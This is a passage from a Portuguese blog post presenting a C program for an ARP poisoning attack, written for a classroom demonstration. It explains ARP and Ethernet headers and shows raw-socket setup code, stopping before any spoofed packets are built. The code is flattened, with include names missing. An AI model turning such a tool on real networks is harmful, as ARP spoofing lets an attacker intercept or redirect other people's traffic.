Creditos a: Romero Junior.blog.romerojunior.com/indicePara comecar a envolver um pouco de programacao [direcionada a redes] nas postagens, resolvi comecar com um exploit que escrevi a algumas noites atras para demonstrar um ataque de ARP Poisoning para meus colegas de turma da Cisco Networking Academy.O codigo e bastante simples e nao usa mais do que qualquer distribuicao Linux oferece por padrao em seu banco de includes (/usr/include/), nele iremos estabelecer comunicacao direta com a nossa NIC, tratando assim de uma codificacao low-level, o que pode parecer incomodo para alguns, mas nao ha nenhum bicho de sete cabecas, acreditem que a grande dificuldade e compreender o funcionamento de dois protocolos basicos, o primeiro deles [e mais obvio] e o Address Resolution Protocol, que se encontra na camada 3 (assim como os protocolos IPv4 e IPv6), observe abaixo sua representacao grafica:Logo abaixo dele se econtra o Ethernet (IEEE 802.3), nao entrarei em muitos detalhes sobre o Ethernet e suas vertentes, sua implementacao [que se limitara ao seu header] independe de seu padroes especificos, abaixo segue sua representacao grafica:O funcionamento do ARP e simples, e para encomizar palavras (e nao roubar o foco da postagem, que de fato e a programacao), abaixo segue uma ilustracao que exemplifica o seu funcionamento:Finalmente, vamos ao que interessa! O codigo para explorar a vulnerabilidade nessa infraestrutura e o seguinte: [Compilado em Ubuntu 10.10, ECLIPSE IDE C/C++ (GCC)]#include#include#include#include#include#include#include#include#include#include#include#include#include// por Romero Junior em 01/10/2011//* Definicao das variaveis globais:char * SRC_ETHER_ADDR;char * DST_ETHER_ADDR;char * SRC_IP;char * DST_IP;char * INTERFACE;// Estrutura de dados do cabecalho Ethernet:typedef struct EthernetHeader{ // Informacoes basicas sobre tipagem: // Unsigned char = 0 a 255 (ou 00 a FF) = 1 byte // Short (short integer) = 2 bytes unsigned char destination[6]; // 48 bits (endereco MAC de destino) unsigned char source[6]; // 48 bits (endereco MAC de origem) unsigned short protocol; // Exemplo: 0x0806 = ARP // 0x0800 = IPv4 // 0x88DD = IPv6}EthernetHeader;// Estrutura de dados do cabecalho ARP:typedef struct ArpHeader{ unsigned short hardware_type; // 2 bytes // Exemplo: 0x0001 = Ethernet unsigned short protocol_type; // 2 bytes // Exemplo: unsigned char hard_addr_len; // 1 byte unsigned char prot_addr_len; // 1 byte unsigned short opcode; // 2 bytes unsigned char source_hardware[6]; // 48 bits unsigned char source_ip[4]; // 32 bits unsigned char dest_hardware[6]; // 48 bits unsigned char dest_ip[4]; // 32 bits}ArpHeader;int CreateRawSocket(int protocol_to_use){ int rawsock; // int = 4 bytes (32 bits) // Basico sobre funcao "socket": // Se houver erros, retornara o valor -1. // PF_PACKET = trabalha a nivel da NIC // SOCK_RAW = dominio // htons = retorna o codigo do protocolo a ser usado. if((rawsock = socket(PF_PACKET, SOCK_RAW, htons(protocol_to_use))) == -1){ perror("Erro ao criar raw socket: "); exit(-1); } return rawsock;}int BindRawSocketToInterface(char *device, int rawsock, int protocol){ // Crio duas estruturas baseadas no tipo sockaddr_ll e ifreq: struct sockaddr_ll sll; struct ifreq ifr; // Zero o conteudo delas, setando tudo para 00000(...) bzero(&sll, sizeof(sll)); bzero(&ifr, sizeof(ifr)); strncpy((char *)ifr.ifr_name, device, IFNAMSIZ); if((ioctl(rawsock, SIOCGIFINDEX, &ifr)) == -1){ perror("Erro ao associar o indice de interface!\n"); exit(-1); } // Associa o pacote a interface: sll.sll_family = AF_PACKET;